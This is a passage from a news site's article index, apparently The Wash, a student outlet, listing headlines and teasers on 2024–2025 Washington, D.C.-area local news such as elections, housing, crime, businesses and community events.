‘Party in the USA’ ever again,’” Wall said. “She said, ‘Standing in front of the - [Four Reasons to Become a Better Birder](https://thewash.org/2025/05/02/four-reasons-to-become-a-better-birder/) - “Once people are bitten by birding, they don't ever stop. They just keep birding.” - Joe Corcoran - [Baseball season brings boom to Navy Yard businesses](https://thewash.org/2025/04/19/baseball-season-brings-boom-to-navy-yard-businesses/) - As Nationals fans celebrate the start of another baseball season, the streets of Navy Yard have already seen an increase in foot traffic. For nearby businesses, the boost is good for more than just atmosphere — it brings a financial win as well. Bluejacket, a nearby restaurant and brewery, saw a 50% increase in sales - [Black-owned businesses make U Street unique. But rising rents, policy changes remain a threat](https://thewash.org/2025/04/04/black-owned-businesses-make-u-street-unique-but-rising-rents-policy-changes-remain-a-threat/) - By Milan Moshay On any given weekend night, under the glow of streetlights and neon signs, U Street is a scene. The historic neighborhood around the corner from Howard University is popular with college students and young adults. The streets are vibrant and filled with late-night eateries, smoke shops, bars and clubs. However, beyond the - [DC advocates are concerned about the future of abortion access in their progressive city.](https://thewash.org/2025/04/01/dc-advocates-are-concerned-about-the-future-of-abortion-access-in-their-progressive-city/) - The White House and Congress are angling for District government control. - [Looking for ways to help, local organizations support worried federal workers](https://thewash.org/2025/03/31/looking-for-ways-to-help-local-organizations-support-worried-federal-workers/) - The help comes in the form of discounts, socializing and legal assistance. - [Recent federal terminations spark instability, fear among public sector undergraduate students](https://thewash.org/2025/03/28/recent-federal-terminations-spark-instability-fear-among-public-sector-undergraduate-students/) - Students exploring alternative work options with unease about the future of federal employment. - [How some zero waste advocates are tackling our growing garbage problem](https://thewash.org/2025/03/12/how-some-zero-waste-advocates-are-tackling-our-growing-garbage-problem/) - D.C. is at the halfway point for its ambitious waste mitigation goal, yet there’s still too much being thrown away. Even for activists fighting to stop it. D.C. is at the halfway point for its ambitious waste mitigation goal, yet there’s still too much being thrown away. Even for activists fighting to stop it. - [D.C. inmates struggle to testify, voice political concerns to City Council](https://thewash.org/2025/01/28/d-c-inmates-struggle-to-testify-voice-political-concerns-to-city-council/) - Inmates face challenges with testifying in front of the D.C. Council and voting Inmates face challenges with testifying in front of the D.C. Council and voting - [Increase in calls to hotlines for the LGBTQ+ community in the wake of Trump’s inauguration, actions](https://thewash.org/2025/02/07/increase-in-calls-to-hotlines-for-the-lgbtq-community-in-the-wake-of-trumps-inauguration-actions/) - Advocates worry that ongoing challenges could further curtail LGBTQ+ rights. - [Capitol officers warn Trump’s Jan. 6 pardons create political uncertainty](https://thewash.org/2025/01/31/capitol-officers-warn-trumps-jan-6-pardons-create-political-uncertainty/) - Officers Harry Dunn and Daniel Hodges push for the truth during an American Forum interview hosted by SOC and the Kennedy Political Union. - [Gastrodiplomacy: The growing trend of protesting with your wallet and stomach](https://thewash.org/2025/01/16/gastrodiplomacy-the-growing-trend-of-protesting-with-your-wallet-and-stomach/) - Diners reward international cuisine that reflects their passion and belief systems. - [Playing for pennies: How streaming royalties leave independent artists struggling](https://thewash.org/2024/12/06/playing-for-pennies-how-streaming-royalties-leave-independent-artists-struggling/) - As streaming dominates the music industry, smaller musicians face challenges in earning a sustainable income, prompting legislative reform and alternative platforms to balance the scales. - [Experts remain concerned about FAFSA’s impact on college enrollment, but optimistic about new form](https://thewash.org/2024/12/06/experts-remain-concerned-about-fafsas-impact-on-college-enrollment-but-optimistic-about-new-form/) - The 2024-25 FAFSA rollout saw a decrease in freshman enrollment rates among high school seniors, but education advocates and experts remain optimistic about the new form released on Nov. 21. - [Preserving Washington, D.C. The battle between growth and heritage](https://thewash.org/2024/12/16/preserving-washington-d-c-the-battle-between-growth-and-heritage/) - “If you educate people about the history of an area, they might be more likely to enjoy it, respect it, and honor it.” - [D.C. continues to see declines in local journalism](https://thewash.org/2024/12/16/d-c-continues-to-see-declines-in-local-journalism/) - Communities see fewer news outlets that cover neighborhoods. - [Food insecurity persists in Wards 7 and 8, but there are solutions](https://thewash.org/2024/12/17/food-insecurity-persists-in-wards-7-and-8-but-there-are-solutions/) - Experts on food insecurity argue that the food disparity crisis in D.C. is complex, so there must be multiple approaches and solutions in order to solve the problem. - [DC fails to enforce its own law, leaving wheelchair users stranded](https://thewash.org/2024/12/10/wheelchair-users-stranded-dc-law/) - Wheelchair users still can’t access taxis, as $500,000 pilot ends - [Norwegians on U.S. election results: ‘What have Democrats gotten wrong?’](https://thewash.org/2024/12/17/norwegians-on-u-s-election-results-what-have-democrats-gotten-wrong/) - As Norway looks to the U.S. for trade and security, some Norwegians say they are wary about their ability to rely on the United States during Donald Trump’s second presidential term. - [Has Alexandria reconciled with its past? Gaskins’ historic election sparks reflection"](https://thewash.org/2024/12/14/has-alexandria-reconciled-with-its-past-gaskins-historic-election-sparks-reflection/) - Alyia Gaskins’ upcoming inauguration as Alexandria’s first black woman mayor marks racial progress. But policies, especially those affecting housing, still reflect Alexandria’s deep-rooted and troubled racial history. - [D.C. breaks porch piracy records. Here’s what you can do to protect your packages](https://thewash.org/2024/12/14/d-c-breaks-porch-piracy-records-heres-what-you-can-do-to-protect-your-packages/) - With 2 million package theft incidents last year and financial losses totaling $231 million in D.C. alone, Washingtonians grapple with ways to deter porch pirates. - [Restaurant owners worry mass deportation of immigrants could devastate the industry](https://thewash.org/2024/12/14/restaurant-owners-worry-mass-deportation-of-immigrants-could-devastate-the-industry/) - President-elect Donald Trump has proposed a policy of mass deportation as a top priority, but the restaurant industry is worried about what happens if migrants were to disappear from the labor pool. - [D.C. artists demand action to protect creative spaces amid rising costs](https://thewash.org/2024/12/14/d-c-artists-demand-action-to-protect-creative-spaces-amid-rising-costs/) - The increase of arts districts in D.C. has ignited an ongoing battle for space and resources. As neighborhoods gentrify, visual artists and musicians in the region say that these districts, which were supposed to support their work, are now driving them out. They are demanding that urban planning be more inclusive, calling for policies that protect artistically safe spaces while addressing the city’s growing development. - [From online school to in-person work: pandemic-era students prepare to enter the workforce](https://thewash.org/2024/12/14/from-online-school-to-in-person-work-pandemic-era-students-prepare-to-enter-the-workforce/) - Students who attended high school through a laptop prepare to graduate from college at the same time companies they’re applying to are shifting back to in-person requirements. Are these students ready? - [American University accused of disability accommodation shortcomings](https://thewash.org/2024/12/13/american-university-accused-of-disability-accommodation-shortcomings/) - Some American University students ponder legal action for accessibility shortfalls. - [Businesses, residents react to competing D.C. holiday market sales](https://thewash.org/2024/12/13/businesses-residents-react-to-competing-d-c-holiday-market-sales/) - While the Dupont Circle market is smaller than the Downtown market, the foot traffic and business sales have been better than expected. As D.C. residents race to complete their holiday shopping, the competition between local holiday markets heats up. The DowntownDC Holiday Market has operated along F Street near the Gallery Place-Chinatown Metro station since - [A new chapter for Alexandria's homeless: Carpenter's Shelter unveils renovated community shelter](https://thewash.org/2024/12/11/a-new-chapter-for-alexandrias-homeless-carpenters-shelter-unveils-renovated-community-shelter/) - An open house on Wednesday afternoon lets the public see renovations to aid unhoused persons in the region. - [Dueling rallies outside Supreme Court as justices hear transgender rights case](https://thewash.org/2024/12/05/dueling-rallies-outside-supreme-court/) - Passionate demonstrators outside the court opposed or supported a Tennessee law banning transgender health care for minors. The court is expected to rule by June. - [“Grounded” brings plant wellness, and community focus to a changing Anacostia](https://thewash.org/2024/12/11/grounded-brings-plant-wellness-and-community-focus-to-a-changing-anacostia/) - Local business seeks a different approach to community-business relations - [Shooting involving Arlington police at Rosslyn Metro Station](https://thewash.org/2024/12/10/shooting-involving-arlington-police-at-rosslyn-metro-station/) - The police department said the shooting involved an Arlington County police officer inside the station near the exit to N. Moore Street. Police report a suspect was wounded in an officer-involved shooting late Tuesday afternoon at the Rosslyn Metro station in Northern Virginia. The police department also said the shooting involved an Arlington County police - [Car theft down in Bethesda-Chevy Chase due to drone Initiative](https://thewash.org/2024/12/10/car-theft-down-in-bethesda-chevy-chase-due-to-drone-initiative/) - Community members and leaders reflect on past crime trends and how current initiatives combat future spikes. - [Local prodigy turned national icon](https://thewash.org/2024/12/10/local-prodigy-turned-national-icon/) - “I let out the biggest scream. This day, Dominica got its first-ever Olympic medal, and it just so happens to be gold.” - [Friendship Heights is among D.C.’s slowest growing neighborhoods – perhaps that’s how residents want it](https://thewash.org/2024/12/10/friendship-heights-is-among-d-c-s-slowest-growing-neighborhoods-perhaps-thats-how-residents-want-it/) - The neighborhood’s population is climbing slowly despite amenities, transit and retail. Housing and zoning may be the root cause. - [Logan Circle crime drops nearly 20% from 2023](https://thewash.org/2024/12/10/logan-circle-crime-drops-nearly-20-from-2023/) - One difference between years: a new crime-prevention legislation that passed in March. - [Georgetown’s e-scooters: Parking problem or congestion solution?](https://thewash.org/2024/12/10/georgetown-scooters-parking-problem/) - Advocates suggest solutions for Georgetown’s scooter ‘problem’ ahead of 2025 permits. - [MPD look for suspect as man stabbed on Minnesota Avenue SE](https://thewash.org/2024/12/09/man-stabbed-se/) - Man who suffered multiple stab wounds is being treated at a nearby hospital - [McPherson Square Metro station remains open after man falls one story](https://thewash.org/2024/12/07/mcpherson-square-metro-station-remains-open-after-man-falls-one-story/) - Man falls between levels at the McPherson Square train station. Remains in critical condition tonight. - [Will the Supreme Court uphold a controversial Tennessee transgender law?](https://thewash.org/2024/12/04/supreme-court-tennessee-transgender-law/) - Justices hearing a case Wednesday on ban for transgender care for minors appear divided. - [Trans rights fight. Images from the Supreme Court](https://thewash.org/2024/12/04/trans-rights-fight-images-from-the-supreme-court/) - Journalists from American University document protest efforts outside the U.S. Supreme Court on Wednesday. - [Wilderness Therapy Under Fire: Balancing Claims of Abuse with Advocates’ Calls for Reform](https://thewash.org/2024/12/04/wilderness-therapy-under-fire-balancing-claims-of-abuse-with-advocates-calls-for-reform/) - Wilderness therapy programs are under fire after allegations of abuse, highlighted by Paris Hilton’s congressional testimony and in recent documentaries. Advocates of these programs cite decades of research that show mental health benefits, while critics call for stricter regulation to address safety, accessibility, and oversight issues. - [Montgomery County woman found dead during house fire – remembered as animal lover and thoughtful neighbor](https://thewash.org/2024/12/03/montgomery-county-woman-found-dead-during-house-fire-remembered-as-animal-lover-and-thoughtful-neighbor/) - Investigators have ruled the fatality accidental with damage to the home estimated to be around $300,000. - [Drug and alcohol treatment facility slated to open in Columbia Heights, residents skeptical](https://thewash.org/2024/12/03/drug-and-alcohol-treatment-facility-slated-to-open-in-columbia-heights-residents-skeptical/) - A second sobering and stabilization center is scheduled to be completed in 2026. Those who live in the area are questioning why they weren't included in the decision-making process. - [D.C. police report decline in anti-gay hate crimes](https://thewash.org/2024/12/03/dc-police-report-decline-in-anti-gay-hate-crimes/) - Local police report a decrease in bias-related crimes for sexual orientation despite recent investigations in Northwest D.C. Recent attacks in the Northwest D.C. area were perceived by many as an uptick in bias-related crimes. The Metro Police Department reported that’s simply not the case. Local police report a decrease in bias-related crimes pertaining to sexual - [D.C. residents face competing priorities as historic preservation bill awaits congressional review](https://thewash.org/2024/12/03/d-c-residents-face-competing-priorities-as-historic-preservation-bill-awaits-congressional-review/) - D.C.'s historic preservation initiatives preserve the city's architectural legacy and protect cultural landmarks. But what happens when the resulting rise in housing costs threatens to displace long-time residents of historic neighborhoods? - [Rising rents, rising tensions: Alexandria’s housing crisis deepens](https://thewash.org/2024/11/26/rising-rents-rising-tensions-alexandrias-housing-crisis-deepens/) - As rents continue to rise in Alexandria, the financial load on residents grows, pushing more households to the edge of eviction. Data from Alexandria city showed that Evictions in Alexandria are approaching pre-pandemic levels. During the pandemic, eviction rates dropped significantly due to protections like eviction moratoriums and rental assistance programs. However, with those protections - [O’Malley’s last push for Social Security funding as waitlists grow](https://thewash.org/2024/11/25/omalleys-last-push-for-social-security-funding-as-waitlists-grow/) - Customer service is at its worst point in Social Security’s 89-year history, says administration chief Martin O’Malley, in the first House SSA hearing for a decade. - [As tariffs loom, economists and consumers brace for impact](https://thewash.org/2024/11/23/as-tariffs-loom-economists-and-consumers-brace-for-impact/) - Economists predict an uptick in inflation if the tariffs that Donald Trump has proposed are enacted, prompting some consumers to stock up on goods now. - [New leadership, old problem: Alexandria's persistent housing crisis tests first black female mayor, new city council](https://thewash.org/2024/11/23/new-leadership-old-problem-alexandrias-persistent-housing-crisis-tests-first-black-female-mayor-new-city-council/) - Residents feel hope amid a housing crisis as Alexandria continues to grapple with affordability and displacement - [Organizations serving immigrants in the DMV prepare for a second Trump presidency](https://thewash.org/2024/11/23/organizations-serving-immigrants-in-the-dmv-prepare-for-a-second-trump-presidency/) - Amidst calls for mass deportation by the president-elect, organizations across the DMV prepare to support the immigrant community. - [Educators anticipating changes during a second Trump administration](https://thewash.org/2024/11/23/educators-anticipating-changes-during-a-second-trump-administration/) - Across the country, school officials grapple with what the educational landscape may look like under President Trump's second term. - [Tenleytown community staple Duane Foster reflects back on 50 years of life](https://thewash.org/2024/11/19/tenleytown-community-staple-duane-foster-reflects-back-on-50-years-of-life/) - Duane Foster feels his 50 years of age in his back, ankles and knees, but he also feels it in his outlook on life, his sense of self and in the rich community he’s found for himself. - [Montgomery County to ban plastic carryout bags](https://thewash.org/2024/11/19/montgomery-county-to-ban-plastic-carryout-bags/) - If the bill passes, it will also raise the current tax on paper bags from five to ten cents. - [GoGo advocates and city officials celebrate nation’s first GoGo museum](https://thewash.org/2024/11/19/gogo-advocates-and-city-officials-celebrate-nations-first-gogo-museum/) - First of its kind, The GoGo Museum & Cafe opened its doors at a soft launch party celebrating the history and preservation of GoGo Music and culture. - [Retail thefts hit four-year high in Georgetown](https://thewash.org/2024/11/19/retail-thefts-four-year-high-georgetown/) - Independent businesses and a community of block captains are staying vigilant. - [After Kamala Harris lost the election, some voters lost their appetite](https://thewash.org/2024/11/16/after-kamala-harris-lost-the-election-some-voters-lost-their-appetite/) - Voters grieving Kamala Harris’s election loss are having a hard time keeping an appetite. Dietitians say that's normal. - [Finding Solace in Nature: D.C. Area Parks Serve as Retreats for Reflection, Community, Resilience](https://thewash.org/2024/11/17/finding-solace-in-nature-d-c-area-parks-serve-as-retreats-for-reflection-community-resilience/) - Park visitors say these green spaces provide a much-needed refuge, fostering personal reflection, community bonding, and mental resilience. - [Inside DMV Nightlife: The highs, lows, and unseen challenges](https://thewash.org/2024/11/16/inside-dmv-nightlife-the-highs-lows-and-unseen-challenges/) - The D.C. area's nightlife scene is adapting to post-pandemic shifts and changing social dynamics. Industry professionals say their challenge lies in finding the balance between maintaining a safe, celebratory environment while fostering deeper, more meaningful connections. - [Complex political identity: Diverse drivers behind Arab American support for Trump in the DMV](https://thewash.org/2024/11/16/complex-political-identity-diverse-drivers-behind-arab-american-support-for-trump-in-the-dmv/) - Arab Americans in the Washington area who voted for Donald Trump share diverse reasons for that support: from family values to foreign policy to economic relief. - [Latest shooting in NoMa sparks backlash](https://thewash.org/2024/11/16/latest-shooting-in-noma-sparks-backlash/) - Despite an increase in police presence on M Street NE, shootings continue to happen. Renters say they are fed up. - [Election night: Hope is in the air as Kamala Harris' election watch party continues at Howard University](https://thewash.org/2024/11/06/election-night-hope-is-in-the-air-as-kamala-harris-election-watch-party-continues-at-howard-university/) - Some women voters for Kamala Harris say they are much calmer this election season. - [Arab American voters shift to Trump in Michigan, citing peace promises and opposition to Middle East conflicts](https://thewash.org/2024/11/07/arab-american-voters-shift-to-trump-in-michigan-citing-peace-promises-and-opposition-to-middle-east-conflicts/) - President-Elect Donald Trump thanked Arab and Muslim voters in his victory speech to supporters. There was a reason for that. - [DC passes Initiative 83 bringing ranked choice voting and semi-open primaries to the District](https://thewash.org/2024/11/07/dc-passes-initiative-83-bringing-ranked-choice-voting-and-semi-open-primaries-to-the-district/) - The $1.2 million campaign received resounding support from voters, but two lawsuits lie ahead. - [DC Council and referendum live results](https://thewash.org/2024/11/05/dc-council-and-referendum-live-results/) - [Is the dream dead? The uncertain fate of DACA and what it means for dreamers](https://thewash.org/2024/11/07/is-the-dream-dead-the-uncertain-fate-of-daca-and-what-is-means-for-dreamers/) - Election rhetoric and unclear court mandates leave some Dreamers worried about the future. - [Downtown D.C. businesses remain boarded up following election](https://thewash.org/2024/11/07/downtown-d-c-businesses-remain-boarded-up-following-election/) - Businesses remain fearful until Inauguration Day, windows will stay covered and customers are sparse. - [US House races live](https://thewash.org/2024/11/07/us-house-races-live/) -  - [Mixed reactions to Trayon White’s re-election in Ward 8 as DC investigates potential ethics violations](https://thewash.org/2024/11/06/mixed-reactions-to-trayon-whites-re-election-in-ward-8-as-dc-investigates-potential-ethics-violations/) - Indicted D.C. council member wins big. Now what? - [Trump wins second term live results](https://thewash.org/2024/11/06/balance-of-power-live-results/) - [Voters weigh in on election process](https://thewash.org/2024/11/06/voters-weigh-in-on-election-process/) - Editor's note: American University students talked with East Coast voters to flush out what they thought was important about election day. - [Economic concerns and social values shape Fairfax county’s 2024 election](https://thewash.org/2024/11/06/economic-concerns-and-social-values-shape-fairfax-countys-2024-election/) - With over a million residents and a traditionally high voter turnout, the county is critical in deciding the state’s 13 electoral votes. - [A tale of two volunteers at the polls -- different affiliation, shared passion](https://thewash.org/2024/11/06/a-tale-of-two-volunteers-at-the-polls-different-affiliation-shared-passion/) - A Democrat and Republican table in front of a Poolesville voting center. For one, Trump is an inspiration. For the other, he's her worst nightmare. - [Voters react to election results in local bars](https://thewash.org/2024/11/05/voters-react-to-election-results-in-local-bars/) - DMV area voters flock to bars in the Dupont Circle area as the presidential election results come in. - [Neighbors of VP Candidate, Supreme Court Justices sense tense atmosphere amid election](https://thewash.org/2024/11/05/neighbors-of-vp-candidate-supreme-court-justices-sense-tense-atmosphere-amid-election/) - People who share zip codes with J.D. Vance and Supreme Court Justices talk to our reporter about election day and beyond. - [Protesters outside the White House await election results](https://thewash.org/2024/11/05/protesters-outside-the-white-house-await-election-results/) - The White House on election night has brought out a pro-Palestine protest, a Spider-Man-dressed Trump supporter, Christian preachers, a non-partisan DJ and spectators. - [Logan Circle and Shaw: Voter priorities and what we saw on Election Day](https://thewash.org/2024/11/05/logan-circle-and-shaw-voter-priorities-and-what-we-saw-on-election-day/) - "Enthusiastic" voters, some of whom registered to vote on the spot, have shown out today to support the economy, abortion, democracy and climate change among other issues. - [Young voters turnout near George Washington University, West End](https://thewash.org/2024/11/05/young-voters-turnout-near-george-washington-university-west-end/) - Of the roughly 160 million people who will vote in the 2024 presidential election, about 8 million will be first-time voters. Dozens of voters wrapped around the West End Neighborhood Library earlier this afternoon, many of whom were young voters casting their ballots for the first time ever in the 2024 presidential election. “It’s a - [Voter outrage, concern sparked by US Supreme Court's endorsement of Virginia's voter purge](https://thewash.org/2024/11/02/voter-outrage-concern-sparked-by-us-supreme-courts-endorsement-of-virginias-voter-purge/) - Voters and activist groups react with frustration and concern over Supreme Court’s decision to back Virginia voter purge. - [Meet the Taylor Swift fans who have raised $235,000 for the Harris campaign](https://thewash.org/2024/11/04/swifties-for-kamala/) - Swifties for Kamala started from a tweet; now, 3500 volunteers run phone banks, make friendship bracelets, and educate first-time voters. - [All eyes on North Carolina: University students navigate voting in a battleground state](https://thewash.org/2024/11/02/all-eyes-on-north-carolina-university-students-navigate-voting-in-a-battleground-state/) - Young voters in the key battleground state of North Carolina gear up to cast their votes in the razor-thin 2024 presidential election. - [Gen-Z voters are feeling the pressure of the election, especially ones living in D.C.](https://thewash.org/2024/11/02/gen-z-voters-are-feeling-the-pressure-of-the-election-especially-ones-living-in-d-c/) - It’s a unique time to be a Gen-Z voter in D.C., and young voters are feeling the pressure of experiencing this election in the nation’s capital. - [Navigating a foreign process: Students abroad cast their ballots in 2024 elections](https://thewash.org/2024/10/31/navigating-a-foreign-process-students-abroad-cast-their-ballots-in-2024-elections/) - Study abroad students experience the challenges of voting absentee overseas. - [How are Montgomery County, Pennsylvania, residents feeling about the 2024 presidential election?](https://thewash.org/2024/10/31/how-are-montgomery-county-pennsylvania-residents-feeling-about-the-2024-presidential-election/) - All over the state, there is a constant reminder of how the election could go either way in Pennsylvania, but the shift from city to suburbs is where it is the most obvious. - [Early voting totals [live updates]](https://thewash.org/2024/11/01/early-voting-totals-live-updates/) - [Will Gen Z, first-time voters make a difference on Nov. 5?](https://thewash.org/2024/10/31/will-gen-z-first-time-voters-make-a-difference-on-nov-5/) - In Maryland, both parties mobilize to reach new voters. Republican organizer: 'The youth vote has an influence on these elections' - [No tax on tips? Service workers say yes, economists urge caution](https://thewash.org/2024/10/31/no-tax-on-tips-service-workers-say-yes-economists-urge-caution/) - Vice President Harris and former President Trump favor eliminating tax on tips. Is it even a possibility? - [Vice President Harris draws tens of thousands to D.C. as protestors demand action on Israel-Palestine conflict](https://thewash.org/2024/10/30/vice-president-harris-draws-tens-of-thousands-to-d-c-as-protestors-demand-action-on-israel-palestine-conflict/) - Vice President Harris addressed tens of thousands of supporters at her closing rally at the White House Ellipse in Washington, D.C., Tuesday night. She reclaimed the site of Donald Trump’s Jan. 6th speech and put a stamp on the end of her campaign tour. Lines stretched from the White House ellipse to 12th Street and - [Local LGBTQ+ community shows support for Kamala Harris at Ellipse rally – or at least near it](https://thewash.org/2024/10/30/local-lgbtq-community-shows-support-for-kamala-harris-at-ellipse-rally-or-at-least-near-it/) - LGBTQ+ D.C. residents attend Kamala Harris rally at The Ellipse. They say this race will define the way marginalized people are treated in this country. In their eyes, Harris is the only choice to support them. - [Art Space Open House Showcases Canvas for Activism](https://thewash.org/2024/10/30/art-space-open-house-showcases-canvas-for-activism/) - D.C. artists opened their studios at 52 O St. Artist Studios to the public not only to share their craft, but to showcase the meanings behind the art. - [Dupont Circle’s Fall Festival draws community together, solidifying its place as a cherished tradition](https://thewash.org/2024/10/30/dupont-circles-fall-festival-draws-community-together-solidifying-its-place-as-a-cherished-tradition/) - Families, pets, and neighbors flock to Dupont Circle to enjoy a blend of Halloween fun and autumn traditions. - [A vending zone plan in Columbia Heights aims to fix congested streets](https://thewash.org/2024/10/29/a-vending-zone-plan-in-columbia-heights-aims-to-fix-congested-streets/) - A crowded street full of food, garments, and toys bring customers of all ages to 14th Street. In order to preserve vending in Columbia Heights, vendors are going to have to move to new zones. - [West End housing project still faces facility issues, pending litigation ahead of hypothermia season](https://thewash.org/2024/10/29/west-end-housing-project-still-faces-facility-issues-pending-litigation-ahead-of-hypothermia-season/) - The West End housing project to convert the Aston into a housing shelter has been further delayed due to repair needs and pending litigation from West End residents. The beginning of November officially marks hypothermia season, meaning more people will look for city resources to stay out of the cold. With more homeless people across - [Swarms of invasive spotted lanternfly continue to spread across D.C.](https://thewash.org/2024/10/29/swarms-of-invasive-spotted-lanternfly-continue-to-spread-across-d-c/) - “If you can, feel free to smash them, feel free to step on them,” said Matthew Travis, national policy manager at the USDA. - [Social media allows political candidates to meet young voters where they’re at, but will it translate to turnout?](https://thewash.org/2024/10/29/social-media-allows-political-candidates-to-meet-young-voters-where-theyre-at-but-will-it-translate-to-turnout/) - As mail-in ballots begin to be counted and voters start trickling into early voting centers, American voters' eyes will soon be concentrated on a couple of key voter groups. One major category: young voters. Democratic presidential nominee Kamala Harris, 60, and Republican nominee Donald Trump, 78, may be generations removed from voters in their late - [Hacking Reality: Virginia’s art exhibit reveals the hidden world of cybersecurity](https://thewash.org/2024/10/29/hacking-reality-virginias-art-exhibit-reveals-the-hidden-world-of-cybersecurity/) - An exhibit at Alexandria's Torpedo Factory Art Center blends art and technology and invites visitors to rethink their digital lives and the hidden risks of an interconnected world. In a unique fusion of technology and creativity, the Commonwealth Cyber Initiative is bringing cybersecurity to life through an exhibit that aims to change how visitors perceive - [Bethesda-Chevy Chase Congregation reaches out to youth during election season](https://thewash.org/2024/10/29/bethesda-chevy-chase-congregation-reaches-out-to-youth-during-election-season/) - The Bethesda-Chevy Chase Unitarian Universalist congregation works to promote democracy through their youth and greater communities. - [32 years after FAFSA’s creation, students are struggling to apply for financial aid](https://thewash.org/2024/10/29/32-years-after-fafsas-creation-students-are-struggling-to-apply-for-financial-aid/) - The Free Application for Federal Student Aid has caused many problems for applicants, their families, and colleges nationwide for the 2024-2025 academic year. - [Local businesses on World Pride 2025: ‘All eyes are going to be on us’](https://thewash.org/2024/10/29/local-businesses-on-world-pride-2025-all-eyes-are-going-to-be-on-us/) - Election results could influence the weeklong event’s identity as owners think about security and programming. - [Non-citizen residents living in DC area fear election aftermath](https://thewash.org/2024/10/28/non-citizen-residents-fear-election-aftermath/) - Half of DC’s foreign-born residents are not eligible to vote in November, but they still fear the potential impacts. - [Campaign merch: Voters keep items for years](https://thewash.org/2024/10/28/campaign-merch-neutrality-is-not-an-option/) - DC-area boutiques, street vendors and online retailers sell merchandise in a contentious race. Who is ahead? Location matters. - [International journalists follow presidential race closely for home audiences](https://thewash.org/2024/10/28/international-journalists-follow-presidential-race-closely-for-home-audiences/) - Washington-based news organizations focus on conflict and human rights. - [Election draws volunteers in DC ahead of schedule, and more youth](https://thewash.org/2024/10/25/election-draws-volunteers-in-dc-ahead-of-schedule-and-more-youth/) - 2000 volunteers are ready to help guide voters on election day. - [DC Drag Lab opens the stage to up-and-coming drag performers in the DMV](https://thewash.org/2024/10/25/dc-drag-lab-opens-the-stage-to-up-and-coming-drag-performers-in-the-dmv/) - At Songbyrd Music House, newcomers are invited to show off their skills with the support of established drag stars. - [Friendship Heights to get a pair of protected bike lanes](https://thewash.org/2024/10/22/friendship-heights-to-get-a-pair-of-protected-bike-lanes/) - Two approved protected bike lanes in Friendship Heights to kick off network for cyclists - [Homeless shelters are full across DC and a Georgetown drop-in center is more important than ever](https://thewash.org/2024/10/22/homeless-shelters-full-dc/) - Colder weather means homeless people can access overnight shelter for the first time in months, but has DC planned enough beds for hypothermia season? - [Councilmember Trayon White faces bribery charges amid community support.](https://thewash.org/2024/10/22/councilmember-trayon-white-faces-bribery-charges-amid-community-support/) - The FBI recently arrested Washington D.C. councilmember Trayon White for taking money and other gifts to pressure District agencies to award contracts to businesses that provide violence interruption programs. - [Montgomery County takes action on faith-based hate crimes](https://thewash.org/2024/10/22/montgomery-county-takes-action-on-faith-based-hate-crimes/) - Following the October 7 attack in Israel, hate crimes have spiked in the U.S. - [Columbia Heights building owners fined for hazardous, unsafe conditions after gas explosion](https://thewash.org/2024/10/15/columbia-heights-building-owners-fined-for-hazardous-unsafe-conditions-after-gas-explosion/) - Dusty remains, broken glass, displaced residents and questionable living quality in a Columbia Heights apartment has left tenants and the district in search for answers. - [George Washington University resident doctors picket for pay, benefits](https://thewash.org/2024/10/01/george-washington-university-resident-doctors-picket-against-pay-benefits/) - University and resident doctors at standstill in union demands, with further negotiations scheduled in two weeks. George Washington University resident doctors Maryssa Miller and Jason Robart, among others, led efforts to form a union among other students. With almost 90% of the residents signed on, they are still negotiating with the university for a fair - [Political Pattie’s changes exterior after public backlash](https://thewash.org/2024/10/01/political-patties-changes-exterior-after-public-backlash/) - The donkey and elephant symbols on the U Street bar’s facade came down to reinforce the owners’ emphasis on civil discourse and inclusivity. - [Logan Circle bar increases sales by 50% during ‘Love is Blind’ watch parties](https://thewash.org/2024/10/15/logan-circle-bar-increases-sales-by-50-during-love-is-blind-watch-parties/) - The Crown & Crow is featured in this season of the reality dating show. Every Wednesday, fans visit the “set” and watch new episodes over discounted, themed drinks. - [Bethesda new home construction, upset residents and the county’s response](https://thewash.org/2024/10/08/bethesda-new-home-construction-upset-residents-and-the-countys-response/) - Montgomery County hired a new building inspector to oversee housing construction standards. The move is in response to a growing concern from citizens worried about hastily, poorly built homes. - [Taste of Bethesda brings in a culture of cuisine and community yet again](https://thewash.org/2024/10/08/taste-of-bethesda-brings-in-a-culture-of-cuisine-and-community-yet-again/) - The food and music festival was back for another year in Downtown Bethesda this past Saturday offering entertainment for a large crowd. - [American University continues to weigh arming officers despite little vocal support from faculty, staff, students](https://thewash.org/2024/10/08/american-university-continues-to-weigh-arming-officers-despite-little-vocal-support-from-faculty-staff-students/) - The Wash attended the first three forums to discuss arming American University police officers. The meetings featured light attendance, an initial indication that few campus members publicly support enhancing weaponry for university police. - [Tourism Boom: Alexandria's lodging sector rebounds to record highs](https://thewash.org/2024/10/08/tourism-boom-alexandrias-lodging-sector-rebounds-to-record-highs/) - Record numbers of visitors coming to enjoy Alexandria's unique blend of historic charm and modern vibrancy are up for this year. - [Local Cumbia band paves way for Latin music in D.C.](https://thewash.org/2024/10/01/local-cumbia-band-paves-way-for-latin-music-in-d-c/) - Cumbia Heights pays homage to the Columbia Heights neighborhood through Latin music while paving the way for generations of artists and listeners to come. - [Uncertainty for 150 kids as Jelleff after-school club seeks temporary home](https://thewash.org/2024/10/08/uncertainty-for-150-kids-as-jelleff-after-school-club-seeks-temporary-home/) - The Boys and Girls Club’s home is set for demolition ahead of a $28 million renovation. But where will the kids go in the meantime? - [Montgomery County warns seniors on the rising gold bar scam](https://thewash.org/2024/10/08/montgomery-county-warns-seniors-on-the-rising-gold-bar-scam/) - Seniors get help understanding dangerous financial scams and how to avoid them. - [Hometown hero's homecoming: Alexandria embraces its olympic champion Noah Lyles](https://thewash.org/2024/09/24/hometown-heros-homecoming-alexandria-embraces-its-olympic-champion-noah-lyles/) - Noah Lyles, the world's fastest man and Olympic gold medalist, returned to his hometown of Alexandria for a hero's welcome - [Montgomery County Council affirms support for reproductive rights; vows to get out the yes vote in November](https://thewash.org/2024/09/24/montgomery-county-council-affirms-support-for-reproductive-rights-vows-to-get-out-the-yes-vote-in-november/) - Abortion has been legal in the State of Maryland since 1973 and was reaffirmed again by voters in a referendum in 1992 but has yet to be affirmed as a constitutional right. - [New development in Columbia Heights adds to affordable housing demand](https://thewash.org/2024/09/17/development-in-columbia-heights-nears-completion/) - A 125-unit affordable housing project, The Faircliff, is slated for a December completion after breaking ground in January last year near Euclid Street. - [Tenleytown soon to welcome licensed medical cannabis store](https://thewash.org/2024/09/24/tenleytown-soon-to-welcome-licensed-medical-cannabis-store/) - Community leaders hope the facility’s presence will curb illegal sales to minors reported at nearby shops. - [Backlash over bagels: Will Call Your Mother’s Georgetown store have to 